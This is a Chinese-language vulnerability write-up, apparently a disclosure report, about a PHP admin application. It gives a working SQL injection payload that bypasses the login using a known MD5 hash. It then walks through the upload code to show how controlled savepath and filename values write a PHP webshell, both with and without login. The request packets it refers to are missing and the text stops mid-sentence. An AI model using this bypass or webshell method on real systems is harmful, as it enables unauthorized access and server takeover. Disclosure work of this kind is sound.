在登陆的地方存在注入，但是会验证一次密码，所以我们通过union select 型的注入直接bypass，进入后台。
构造adminuser为

asd' union select '202cb962ac59075b964b07152d234b70',1,'管理员','admin',1#


adminpass为123
这样就可以直接进入后台了。

0x02 Getshell
第一种情况 需要登录，然后无限制getshell

if($action == 'send'){	
	if(!$_POST)exit('Sorry!,send');
	$sendci		= (int)$rock->post('sendci')+1;
	$maxsend	= (int)$rock->post('maxsend');
	$maxwidth	= (int)$rock->post('maxwidth');
	$thumbtype	= (int)$rock->post('thumbtype');

	$thumbnail	= $rock->post('thumbnail');
}
$smkdir		= '../..https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/'.$mkdir.'';
if(!file_exists($smkdir))mkdir($smkdir);
$allfile	= ''.$smkdir.'/'.$newfile.'';
$tempfile	= $allfile.'.temp';
$filepath	= substr($tempfile,3);
$thumbpath	= '';//所累图地址
$width		= 0;
$height		= 0;
$fc	= fopen($tempfile, 'a');
fwrite($fc,$sendcont);
fclose($fc);
$id	= 0;
if($sendci==$maxsend){
	
	$optid	= (int)$rock->session(QOM.'adminid',0);
	$imgext	= '|jpg|gif|png|jpeg|bmp|';
	$boolc	= $rock->contain($imgext, '|'.$fileext.'|');
	$ztfile	= $imgext.'doc|docx|xls|xlsx|ppt|pptx|pdf|swf|rar|zip|txt|gz|wav|mp3|wma|chm|';
	$botxtl	= $rock->contain($ztfile,'|'.$fileext.'|');
	$boolc1	= $rock->isempt($savepath);
	if(!$boolc1 && $optid==0)$boolc1 = true;
	$izztbo = false;
	if(!$boolc1 || $botxtl)$izztbo = true;
	if($izztbo){
		$content	= file_get_contents($tempfile);
		$temp1file	= ''.$allfile.'.'.$fileext.'';
		$a64basec	= base64_decode($content);
		
		if(!$boolc1){
			file_put_contents(ROOT_PATH.''.$savepath.''.iconv('utf-8','gb2312',$filename).'', $a64basec);
			unlink($tempfile);
		}else{
			file_put_contents($temp1file, $a64basec);
			unlink($tempfile);
			if($boolc){
				list($width, $height) = getimagesize($temp1file);
				if($rock->isempt($width)){
					$width = 0;
					$height = 0;
				}
			}
		}
		$filepath	= substr($temp1file,3);	
	}
	$filepath	= str_replace('../','',$filepath);
	$thumbpath	= $filepath;


这段代码的意思就是先生成一个temp文件，其中内容是base64过的，然后从temp文件里面读取内容并且base64解码一次，然后写入文件中。

file_put_contents(ROOT_PATH.''.$savepath.''.iconv('utf-8','gb2312',$filename).'', $a64basec);


其中savepath和filename变量我们都可以控制，这样就可以写shell了。
在进入这个流程之前，还有两个逻辑判断要izztbo变量为真 boolc1变量为假
其中if(!$boolc1 || $botxtl)$izztbo = true; 只要一个为真就行，由于boolc1又savepath是否为空的来，我们只要给savepath赋值即可。最好构造这样的数据包

就可以在upload下生成一个aax.php的shell
第二种情况 无需登录，但是有限制条件
由于没有登录所以$optid = (int)$rock->session(QOM.'adminid',0);获取的opted的值为0 在后面这个判断if(!$boolc1 && $optid==0)$boolc1 = true;导致boolc1为真，所以后面的流程都不能进去，就只能写一个tempfile 了，由于$tempfile = $allfile.'.temp'; 所以只能配合apache的解析漏洞或者iis的解析漏洞利用了，直接构造数据包

然后生成
